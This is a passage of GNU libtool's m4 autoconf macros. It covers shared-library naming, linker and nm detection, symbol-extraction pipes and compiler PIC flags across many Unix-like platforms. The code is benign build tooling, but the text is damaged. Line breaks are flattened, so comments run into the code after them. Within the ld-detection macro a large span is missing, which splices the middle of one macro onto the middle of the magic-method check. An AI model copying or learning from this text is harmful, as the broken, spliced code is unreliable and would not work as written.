sys_lib_search_path_spec="$sys_lib_search_path_spec /lib" ;; esac fi sys_lib_dlsearch_path_spec='/usr/lib' ;; tpf*) # TPF is a cross-target only. Preferred cross-host = GNU/Linux. version_type=linux need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no hardcode_into_libs=yes ;; uts4*) version_type=linux library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH ;; *) dynamic_linker=no ;; esac AC_MSG_RESULT([$dynamic_linker]) test "$dynamic_linker" = no && can_build_shared=no variables_saved_for_relink="PATH $shlibpath_var $runpath_var" if test "$GCC" = yes; then variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" fi if test "${lt_cv_sys_lib_search_path_spec+set}" = set; then sys_lib_search_path_spec="$lt_cv_sys_lib_search_path_spec" fi if test "${lt_cv_sys_lib_dlsearch_path_spec+set}" = set; then sys_lib_dlsearch_path_spec="$lt_cv_sys_lib_dlsearch_path_spec" fi _LT_DECL([], [variables_saved_for_relink], [1], [Variables whose values should be saved in libtool wrapper scripts and restored at link time]) _LT_DECL([], [need_lib_prefix], [0], [Do we need the "lib" prefix for modules?]) _LT_DECL([], [need_version], [0], [Do we need a version for libraries?]) _LT_DECL([], [version_type], [0], [Library versioning type]) _LT_DECL([], [runpath_var], [0], [Shared library runtime path variable]) _LT_DECL([], [shlibpath_var], [0],[Shared library path variable]) _LT_DECL([], [shlibpath_overrides_runpath], [0], [Is shlibpath searched before the hard-coded library search path?]) _LT_DECL([], [libname_spec], [1], [Format of library name prefix]) _LT_DECL([], [library_names_spec], [1], [[List of archive names. First name is the real one, the rest are links. The last name is the one that the linker finds with -lNAME]]) _LT_DECL([], [soname_spec], [1], [[The coded name of the library, if different from the real name]]) _LT_DECL([], [postinstall_cmds], [2], [Command to use after installation of a shared archive]) _LT_DECL([], [postuninstall_cmds], [2], [Command to use after uninstallation of a shared archive]) _LT_DECL([], [finish_cmds], [2], [Commands used to finish a libtool library installation in a directory]) _LT_DECL([], [finish_eval], [1], [[As "finish_cmds", except a single script fragment to be evaled but not shown]]) _LT_DECL([], [hardcode_into_libs], [0], [Whether we should hardcode library paths into libraries]) _LT_DECL([], [sys_lib_search_path_spec], [2], [Compile-time system search path for libraries]) _LT_DECL([], [sys_lib_dlsearch_path_spec], [2], [Run-time system search path for libraries]) ])# _LT_SYS_DYNAMIC_LINKER # _LT_PATH_TOOL_PREFIX(TOOL) # -------------------------- # find a file program which can recognize shared library AC_DEFUN([_LT_PATH_TOOL_PREFIX], [m4_require([_LT_DECL_EGREP])dnl AC_MSG_CHECKING([for $1]) AC_CACHE_VAL(lt_cv_path_MAGIC_CMD, [case $MAGIC_CMD in [[\\/*] | ?:[\\/]*]) lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path. ;; *) lt_save_MAGIC_CMD="$MAGIC_CMD" lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR dnl $ac_dummy forces splitting on constant user-supplied paths. dnl POSIX.2 word splitting is done only on the output of word expansions, dnl not every word. This closes a longstanding sh security hole. ac_dummy="m4_if([$2], , $PATH, [$2])" for ac_dir in $ac_dummy; do IFS="$lt_save_ifs" test -z "$ac_dir" && ac_dir=. if test -f $ac_dir/$1; then lt_cv_path_MAGIC_CMD="$ac_dir/$1" if test -n "$file_magic_test_file"; then case $deplibs_check_method in "file_magic "*) file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"` MAGIC_CMD="$lt_cv_path_MAGIC_CMD" if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | $EGREP "$file_magic_regex" > /dev/null; then : else cat <<_LT_EOF 1>&2 *** Warning: the command libtool uses to detect shared libraries, *** $file_magic_cmd, produces output that libtool cannot recognize. *** The result is that libtool may fail to recognize shared libraries *** as such. This will affect the creation of libtool libraries that *** depend on shared libraries, but programs linked with such libtool *** libraries will work regardless of this problem. Nevertheless, you *** may want to report the problem to your system manager and/or to *** bug-libtool@gnu.org _LT_EOF fi ;; esac fi break fi done IFS="$lt_save_ifs" MAGIC_CMD="$lt_save_MAGIC_CMD" ;; esac]) MAGIC_CMD="$lt_cv_path_MAGIC_CMD" if test -n "$MAGIC_CMD"; then AC_MSG_RESULT($MAGIC_CMD) else AC_MSG_RESULT(no) fi _LT_DECL([], [MAGIC_CMD], [0], [Used to examine libraries when file_magic_cmd begins with "file"])dnl ])# _LT_PATH_TOOL_PREFIX # Old name: AU_ALIAS([AC_PATH_TOOL_PREFIX], [_LT_PATH_TOOL_PREFIX]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_PATH_TOOL_PREFIX], []) # _LT_PATH_MAGIC # -------------- # find a file program which can recognize a shared library m4_defun([_LT_PATH_MAGIC], [_LT_PATH_TOOL_PREFIX(${ac_tool_prefix}file, /usr/bin$PATH_SEPARATOR$PATH) if test -z "$lt_cv_path_MAGIC_CMD"; then if test -n "$ac_tool_prefix"; then _LT_PATH_TOOL_PREFIX(file, /usr/bin$PATH_SEPARATOR$PATH) else MAGIC_CMD=: fi fi ])# _LT_PATH_MAGIC # LT_PATH_LD # ---------- # find the pathname to the GNU or non-GNU linker AC_DEFUN([LT_PATH_LD], [AC_REQUIRE([AC_PROG_CC])dnl AC_REQUIRE([AC_CANONICAL_HOST])dnl AC_REQUIRE([AC_CANONICAL_BUILD])dnl m4_require([_LT_DECL_SED])dnl m4_require([_LT_DECL_EGREP])dnl AC_ARG_WITH([gnu-ld], [AS_HELP_STRING([--with-gnu-ld], [assume the C compiler uses GNU ld @<:@default=no@:>@])], [test "$withval" = no || with_gnu_ld=yes], [with_gnu_ld=no])dnl ac_prog=ld if test "$GCC" = yes; then # Check if gcc -print-prog-name=ld gives a path. AC_MSG_CHECKING([for ld used by $CC]) case $host in *-*-mingw*) # gcc leaves a trailing carriage return which upsets mingw ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;; *) ac_prog=`($CC -print-prog-name=ld) 2>&5` ;; esac case $ac_prog in # Accept absolute paths. [[\\/]]* | ?:[[\\/]]*) re_direlt='/[[^/]][[^/]]*/\.\./' # Canonicalize the pathname of ld ac_prog=`$ECHO "$ac_prog"| $SED 's%\\\\%/%g'` while $ECHO "$ac_prog" | $GREP "$re_direlt" > /dev/null 2>&1; do ac_prog=`$ECHO $ac_prog| $SED "s%$re_direlt%/%"` done test -z "$LD" && LD="$ac_prog" ;; "") # If it fails, then pretend we aren't using GCC. ac_prog=ld ;; *) # If it is relative, then search for the first ld in PATH. with_gnu_ld=unknown ;; esac elif test "$with_gnu_ld" = yes; then AC_MSG_CHECKING([for GNU ld]) else AC_MSG_CHECKING([for non-GNU ld]) fi AC_CACHE_VAL(lt_cv_path_LD, [if test -z "$LD"; then lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR for ac_dir in $PATH; do IFS="$lt_save_ifs" test -z "$ac_dir" && ac_dir=. if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then lt_cv_path_LD="$ac_dir/$ac_prog" # Check to see if the program is GNU ld. I'd rather use --version, # but apparently some variants of GNU ld only accept -v. # Break only if it was the GNU/non-GNU ld that we prefer. case `"$lt_cv_path_LD" -v 2>&1 &1 /dev/null 2>&1; then lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL' lt_cv_file_magic_cmd='func_win32_libid' else lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?' lt_cv_file_magic_cmd='$OBJDUMP -f' fi ;; cegcc) # use the weaker test based on 'objdump'. See mingw*. lt_cv_deplibs_check_method='file_magic file format pe-arm-.*little(.*architecture: arm)?' lt_cv_file_magic_cmd='$OBJDUMP -f' ;; darwin* | rhapsody*) lt_cv_deplibs_check_method=pass_all ;; freebsd* | dragonfly*) if echo __ELF__ | $CC -E - | $GREP __ELF__ > /dev/null; then case $host_cpu in i*86 ) # Not sure whether the presence of OpenBSD here was a mistake. # Let's accept both of them until this is cleared up. lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD|DragonFly)/i[[3-9]]86 (compact )?demand paged shared library' lt_cv_file_magic_cmd=/usr/bin/file lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*` ;; esac else lt_cv_deplibs_check_method=pass_all fi ;; gnu*) lt_cv_deplibs_check_method=pass_all ;; hpux10.20* | hpux11*) lt_cv_file_magic_cmd=/usr/bin/file case $host_cpu in ia64*) lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|ELF-[[0-9]][[0-9]]) shared object file - IA64' lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so ;; hppa*64*) [lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - PA-RISC [0-9].[0-9]'] lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl ;; *) lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|PA-RISC[[0-9]].[[0-9]]) shared library' lt_cv_file_magic_test_file=/usr/lib/libc.sl ;; esac ;; interix[[3-9]]*) # PIC code is broken on Interix 3.x, that's why |\.a not |_pic\.a here lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so|\.a)$' ;; irix5* | irix6* | nonstopux*) case $LD in *-32|*"-32 ") libmagic=32-bit;; *-n32|*"-n32 ") libmagic=N32;; *-64|*"-64 ") libmagic=64-bit;; *) libmagic=never-match;; esac lt_cv_deplibs_check_method=pass_all ;; # This must be Linux ELF. linux* | k*bsd*-gnu) lt_cv_deplibs_check_method=pass_all ;; netbsd*) if echo __ELF__ | $CC -E - | $GREP __ELF__ > /dev/null; then lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$' else lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so|_pic\.a)$' fi ;; newos6*) lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (executable|dynamic lib)' lt_cv_file_magic_cmd=/usr/bin/file lt_cv_file_magic_test_file=/usr/lib/libnls.so ;; *nto* | *qnx*) lt_cv_deplibs_check_method=pass_all ;; openbsd*) if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|\.so|_pic\.a)$' else lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$' fi ;; osf3* | osf4* | osf5*) lt_cv_deplibs_check_method=pass_all ;; rdos*) lt_cv_deplibs_check_method=pass_all ;; solaris*) lt_cv_deplibs_check_method=pass_all ;; sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*) lt_cv_deplibs_check_method=pass_all ;; sysv4 | sysv4.3*) case $host_vendor in motorola) lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (shared object|dynamic lib) M[[0-9]][[0-9]]* Version [[0-9]]' lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*` ;; ncr) lt_cv_deplibs_check_method=pass_all ;; sequent) lt_cv_file_magic_cmd='/bin/file' lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB (shared object|dynamic lib )' ;; sni) lt_cv_file_magic_cmd='/bin/file' lt_cv_deplibs_check_method="file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB dynamic lib" lt_cv_file_magic_test_file=/lib/libc.so ;; siemens) lt_cv_deplibs_check_method=pass_all ;; pc) lt_cv_deplibs_check_method=pass_all ;; esac ;; tpf*) lt_cv_deplibs_check_method=pass_all ;; esac ]) file_magic_cmd=$lt_cv_file_magic_cmd deplibs_check_method=$lt_cv_deplibs_check_method test -z "$deplibs_check_method" && deplibs_check_method=unknown _LT_DECL([], [deplibs_check_method], [1], [Method to check whether dependent libraries are shared objects]) _LT_DECL([], [file_magic_cmd], [1], [Command to use when deplibs_check_method == "file_magic"]) ])# _LT_CHECK_MAGIC_METHOD # LT_PATH_NM # ---------- # find the pathname to a BSD- or MS-compatible name lister AC_DEFUN([LT_PATH_NM], [AC_REQUIRE([AC_PROG_CC])dnl AC_CACHE_CHECK([for BSD- or MS-compatible name lister (nm)], lt_cv_path_NM, [if test -n "$NM"; then # Let the user override the test. lt_cv_path_NM="$NM" else lt_nm_to_check="${ac_tool_prefix}nm" if test -n "$ac_tool_prefix" && test "$build" = "$host"; then lt_nm_to_check="$lt_nm_to_check nm" fi for lt_tmp_nm in $lt_nm_to_check; do lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR for ac_dir in $PATH /usr/ccs/bin/elf /usr/ccs/bin /usr/ucb /bin; do IFS="$lt_save_ifs" test -z "$ac_dir" && ac_dir=. tmp_nm="$ac_dir/$lt_tmp_nm" if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then # Check to see if the nm accepts a BSD-compat flag. # Adding the `sed 1q' prevents false positives on HP-UX, which says: # nm: unknown option "B" ignored # Tru64's nm complains that /dev/null is an invalid object file case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in */dev/null* | *'Invalid file or object type'*) lt_cv_path_NM="$tmp_nm -B" break ;; *) case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in */dev/null*) lt_cv_path_NM="$tmp_nm -p" break ;; *) lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but continue # so that we can try to find one that supports BSD flags ;; esac ;; esac fi done IFS="$lt_save_ifs" done : ${lt_cv_path_NM=no} fi]) if test "$lt_cv_path_NM" != "no"; then NM="$lt_cv_path_NM" else # Didn't find any BSD compatible name lister, look for dumpbin. AC_CHECK_TOOLS(DUMPBIN, ["dumpbin -symbols" "link -dump -symbols"], :) AC_SUBST([DUMPBIN]) if test "$DUMPBIN" != ":"; then NM="$DUMPBIN" fi fi test -z "$NM" && NM=nm AC_SUBST([NM]) _LT_DECL([], [NM], [1], [A BSD- or MS-compatible name lister])dnl AC_CACHE_CHECK([the name lister ($NM) interface], [lt_cv_nm_interface], [lt_cv_nm_interface="BSD nm" echo "int some_variable = 0;" > conftest.$ac_ext (eval echo "\"\$as_me:__oline__: $ac_compile\"" >&AS_MESSAGE_LOG_FD) (eval "$ac_compile" 2>conftest.err) cat conftest.err >&AS_MESSAGE_LOG_FD (eval echo "\"\$as_me:__oline__: $NM \\\"conftest.$ac_objext\\\"\"" >&AS_MESSAGE_LOG_FD) (eval "$NM \"conftest.$ac_objext\"" 2>conftest.err > conftest.out) cat conftest.err >&AS_MESSAGE_LOG_FD (eval echo "\"\$as_me:__oline__: output\"" >&AS_MESSAGE_LOG_FD) cat conftest.out >&AS_MESSAGE_LOG_FD if $GREP 'External.*some_variable' conftest.out > /dev/null; then lt_cv_nm_interface="MS dumpbin" fi rm -f conftest*]) ])# LT_PATH_NM # Old names: AU_ALIAS([AM_PROG_NM], [LT_PATH_NM]) AU_ALIAS([AC_PROG_NM], [LT_PATH_NM]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AM_PROG_NM], []) dnl AC_DEFUN([AC_PROG_NM], []) # LT_LIB_M # -------- # check for math library AC_DEFUN([LT_LIB_M], [AC_REQUIRE([AC_CANONICAL_HOST])dnl LIBM= case $host in *-*-beos* | *-*-cygwin* | *-*-pw32* | *-*-darwin*) # These system don't have libm, or don't need it ;; *-ncr-sysv4.3*) AC_CHECK_LIB(mw, _mwvalidcheckl, LIBM="-lmw") AC_CHECK_LIB(m, cos, LIBM="$LIBM -lm") ;; *) AC_CHECK_LIB(m, cos, LIBM="-lm") ;; esac AC_SUBST([LIBM]) ])# LT_LIB_M # Old name: AU_ALIAS([AC_CHECK_LIBM], [LT_LIB_M]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_CHECK_LIBM], []) # _LT_COMPILER_NO_RTTI([TAGNAME]) # ------------------------------- m4_defun([_LT_COMPILER_NO_RTTI], [m4_require([_LT_TAG_COMPILER])dnl _LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)= if test "$GCC" = yes; then _LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin' _LT_COMPILER_OPTION([if $compiler supports -fno-rtti -fno-exceptions], lt_cv_prog_compiler_rtti_exceptions, [-fno-rtti -fno-exceptions], [], [_LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)="$_LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1) -fno-rtti -fno-exceptions"]) fi _LT_TAGDECL([no_builtin_flag], [lt_prog_compiler_no_builtin_flag], [1], [Compiler flag to turn off builtin functions]) ])# _LT_COMPILER_NO_RTTI # _LT_CMD_GLOBAL_SYMBOLS # ---------------------- m4_defun([_LT_CMD_GLOBAL_SYMBOLS], [AC_REQUIRE([AC_CANONICAL_HOST])dnl AC_REQUIRE([AC_PROG_CC])dnl AC_REQUIRE([LT_PATH_NM])dnl AC_REQUIRE([LT_PATH_LD])dnl m4_require([_LT_DECL_SED])dnl m4_require([_LT_DECL_EGREP])dnl m4_require([_LT_TAG_COMPILER])dnl # Check for command to grab the raw symbol name followed by C symbol from nm. AC_MSG_CHECKING([command to parse $NM output from $compiler object]) AC_CACHE_VAL([lt_cv_sys_global_symbol_pipe], [ # These are sane defaults that work on at least a few old systems. # [They come from Ultrix. What could be older than Ultrix?!! ;)] # Character class describing NM global symbol codes. symcode='[[BCDEGRST]]' # Regexp to match symbols that can be accessed directly from C. sympat='\([[_A-Za-z]][[_A-Za-z0-9]]*\)' # Define system-specific variables. case $host_os in aix*) symcode='[[BCDT]]' ;; cygwin* | mingw* | pw32* | cegcc*) symcode='[[ABCDGISTW]]' ;; hpux*) if test "$host_cpu" = ia64; then symcode='[[ABCDEGRST]]' fi ;; irix* | nonstopux*) symcode='[[BCDEGRST]]' ;; osf*) symcode='[[BCDEGQRST]]' ;; solaris*) symcode='[[BDRT]]' ;; sco3.2v5*) symcode='[[DT]]' ;; sysv4.2uw2*) symcode='[[DT]]' ;; sysv5* | sco5v6* | unixware* | OpenUNIX*) symcode='[[ABDT]]' ;; sysv4) symcode='[[DFNSTU]]' ;; esac # If we're using GNU nm, then use its standard symbol codes. case `$NM -V 2>&1` in *GNU* | *'with BFD'*) symcode='[[ABCDGIRSTW]]' ;; esac # Transform an extracted symbol line into a proper C declaration. # Some systems (esp. on ia64) link data and code symbols differently, # so use this general approach. lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'" # Transform an extracted symbol line into symbol name and symbol address lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p'" lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \(lib[[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"lib\2\", (void *) \&\2},/p'" # Handle CRLF in mingw tool chain opt_cr= case $build_os in mingw*) opt_cr=`$ECHO 'x\{0,1\}' | tr x '\015'` # option cr in regexp ;; esac # Try without a prefix underscore, then with it. for ac_symprfx in "" "_"; do # Transform symcode, sympat, and symprfx into a raw symbol and a C symbol. symxfrm="\\1 $ac_symprfx\\2 \\2" # Write the raw and C identifiers. if test "$lt_cv_nm_interface" = "MS dumpbin"; then # Fake it for dumpbin and say T for any non-static function # and D for any global variable. # Also find C++ and __fastcall symbols from MSVC++, # which start with @ or ?. lt_cv_sys_global_symbol_pipe="$AWK ['"\ " {last_section=section; section=\$ 3};"\ " /Section length .*#relocs.*(pick any)/{hide[last_section]=1};"\ " \$ 0!~/External *\|/{next};"\ " / 0+ UNDEF /{next}; / UNDEF \([^|]\)*()/{next};"\ " {if(hide[section]) next};"\ " {f=0}; \$ 0~/\(\).*\|/{f=1}; {printf f ? \"T \" : \"D \"};"\ " {split(\$ 0, a, /\||\r/); split(a[2], s)};"\ " s[1]~/^[@?]/{print s[1], s[1]; next};"\ " s[1]~prfx {split(s[1],t,\"@\"); print t[1], substr(t[1],length(prfx))}"\ " ' prfx=^$ac_symprfx]" else lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[[ ]]\($symcode$symcode*\)[[ ]][[ ]]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'" fi # Check to see that the pipe works correctly. pipe_works=no rm -f conftest* cat > conftest.$ac_ext <<_LT_EOF #ifdef __cplusplus extern "C" { #endif char nm_test_var; void nm_test_func(void); void nm_test_func(void){} #ifdef __cplusplus } #endif int main(){nm_test_var='a';nm_test_func();return(0);} _LT_EOF if AC_TRY_EVAL(ac_compile); then # Now try to grab the symbols. nlist=conftest.nm if AC_TRY_EVAL(NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist) && test -s "$nlist"; then # Try sorting and uniquifying the output. if sort "$nlist" | uniq > "$nlist"T; then mv -f "$nlist"T "$nlist" else rm -f "$nlist"T fi # Make sure that we snagged all the symbols we need. if $GREP ' nm_test_var$' "$nlist" >/dev/null; then if $GREP ' nm_test_func$' "$nlist" >/dev/null; then cat <<_LT_EOF > conftest.$ac_ext #ifdef __cplusplus extern "C" { #endif _LT_EOF # Now generate the symbol file. eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | $GREP -v main >> conftest.$ac_ext' cat <<_LT_EOF >> conftest.$ac_ext /* The mapping between symbol names and symbols. */ const struct { const char *name; void *address; } lt__PROGRAM__LTX_preloaded_symbols[[]] = { { "@PROGRAM@", (void *) 0 }, _LT_EOF $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/ {\"\2\", (void *) \&\2},/" < "$nlist" | $GREP -v main >> conftest.$ac_ext cat <<\_LT_EOF >> conftest.$ac_ext {0, (void *) 0} }; /* This works around a problem in FreeBSD linker */ #ifdef FREEBSD_WORKAROUND static const void *lt_preloaded_setup() { return lt__PROGRAM__LTX_preloaded_symbols; } #endif #ifdef __cplusplus } #endif _LT_EOF # Now try linking the two files. mv conftest.$ac_objext conftstm.$ac_objext lt_save_LIBS="$LIBS" lt_save_CFLAGS="$CFLAGS" LIBS="conftstm.$ac_objext" CFLAGS="$CFLAGS$_LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)" if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext}; then pipe_works=yes fi LIBS="$lt_save_LIBS" CFLAGS="$lt_save_CFLAGS" else echo "cannot find nm_test_func in $nlist" >&AS_MESSAGE_LOG_FD fi else echo "cannot find nm_test_var in $nlist" >&AS_MESSAGE_LOG_FD fi else echo "cannot run $lt_cv_sys_global_symbol_pipe" >&AS_MESSAGE_LOG_FD fi else echo "$progname: failed program was:" >&AS_MESSAGE_LOG_FD cat conftest.$ac_ext >&5 fi rm -rf conftest* conftst* # Do not use the global_symbol_pipe unless it works. if test "$pipe_works" = yes; then break else lt_cv_sys_global_symbol_pipe= fi done ]) if test -z "$lt_cv_sys_global_symbol_pipe"; then lt_cv_sys_global_symbol_to_cdecl= fi if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then AC_MSG_RESULT(failed) else AC_MSG_RESULT(ok) fi _LT_DECL([global_symbol_pipe], [lt_cv_sys_global_symbol_pipe], [1], [Take the output of nm and produce a listing of raw symbols and C names]) _LT_DECL([global_symbol_to_cdecl], [lt_cv_sys_global_symbol_to_cdecl], [1], [Transform the output of nm in a proper C declaration]) _LT_DECL([global_symbol_to_c_name_address], [lt_cv_sys_global_symbol_to_c_name_address], [1], [Transform the output of nm in a C name address pair]) _LT_DECL([global_symbol_to_c_name_address_lib_prefix], [lt_cv_sys_global_symbol_to_c_name_address_lib_prefix], [1], [Transform the output of nm in a C name address pair when lib prefix is needed]) ]) # _LT_CMD_GLOBAL_SYMBOLS # _LT_COMPILER_PIC([TAGNAME]) # --------------------------- m4_defun([_LT_COMPILER_PIC], [m4_require([_LT_TAG_COMPILER])dnl _LT_TAGVAR(lt_prog_compiler_wl, $1)= _LT_TAGVAR(lt_prog_compiler_pic, $1)= _LT_TAGVAR(lt_prog_compiler_static, $1)= AC_MSG_CHECKING([for $compiler option to produce PIC]) m4_if([$1], [CXX], [ # C++ specific cases for pic, static, wl, etc. if test "$GXX" = yes; then _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' case $host_os in aix*) # All AIX code is PIC. if test "$host_cpu" = ia64; then # AIX 5 now supports IA64 processor _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' fi ;; amigaos*) case $host_cpu in powerpc) # see comment about AmigaOS4 .so support _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' ;; m68k) # FIXME: we need at least 68020 code to build shared libraries, but # adding the `-m68020' flag to GCC prevents building anything better, # like `-m68040'. _LT_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4' ;; esac ;; beos* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) # PIC is the default for these OSes. ;; mingw* | cygwin* | os2* | pw32* | cegcc*) # This hack is so that the source file can tell whether it is being # built for inclusion in a dll (and should export symbols for example). # Although the cygwin gcc ignores -fPIC, still need this for old-style # (--disable-auto-import) libraries m4_if([$1], [GCJ], [], [_LT_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT']) ;; darwin* | rhapsody*) # PIC is the default on this platform # Common symbols not allowed in MH_DYLIB files _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common' ;; *djgpp*) # DJGPP does not support shared libraries at all _LT_TAGVAR(lt_prog_compiler_pic, $1)= ;; interix[[3-9]]*) # Interix 3.x gcc -fpic/-fPIC options generate broken code. # Instead, we relocate shared libraries at runtime. ;; sysv4*MP*) if test -d /usr/nec; then _LT_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic fi ;; hpux*) # PIC is the default for 64-bit PA HP-UX, but not for 32-bit # PA HP-UX. On IA64 HP-UX, PIC is the default but the pic flag # sets the default TLS model and affects inlining. case $host_cpu in hppa*64*) ;; *) _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' ;; esac ;; *qnx* | *nto*) # QNX uses GNU C++, but need to define -shared option too, otherwise # it will coredump. _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC -shared' ;; *) _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' ;; esac else case $host_os in aix[[4-9]]*) # All AIX code is PIC. if test "$host_cpu" = ia64; then # AIX 5 now supports IA64 processor _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' else _LT_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp' fi ;; chorus*) case $cc_basename in cxch68*) # Green Hills C++ Compiler # _LT_TAGVAR(lt_prog_compiler_static, $1)="--no_auto_instantiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a" ;; esac ;; dgux*) case $cc_basename in ec++*) _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' ;; ghcx*) # Green Hills C++ Compiler _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic' ;; *) ;; esac ;; freebsd* | dragonfly*) # FreeBSD uses GNU C++ ;; hpux9* | hpux10* | hpux11*) case $cc_basename in CC*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive' if test "$host_cpu" != ia64; then _LT_TAGVAR(lt_prog_compiler_pic, $1)='+Z' fi ;; aCC*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive' case $host_cpu in hppa*64*|ia64*) # +Z the default ;; *) _LT_TAGVAR(lt_prog_compiler_pic, $1)='+Z' ;; esac ;; *) ;; esac ;; interix*) # This is c89, which is MS Visual C++ (no shared libs) # Anyone wants to do a port? ;; irix5* | irix6* | nonstopux*) case $cc_basename in CC*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' # CC pic flag -KPIC is the default. ;; *) ;; esac ;; linux* | k*bsd*-gnu) case $cc_basename in KCC*) # KAI C++ Compiler _LT_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' ;; ecpc* ) # old Intel C++ for x86_64 which still supported -KPIC. _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' ;; icpc* ) # Intel C++, used to be incompatible with GCC. # ICC 10 doesn't accept -KPIC any more. _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' 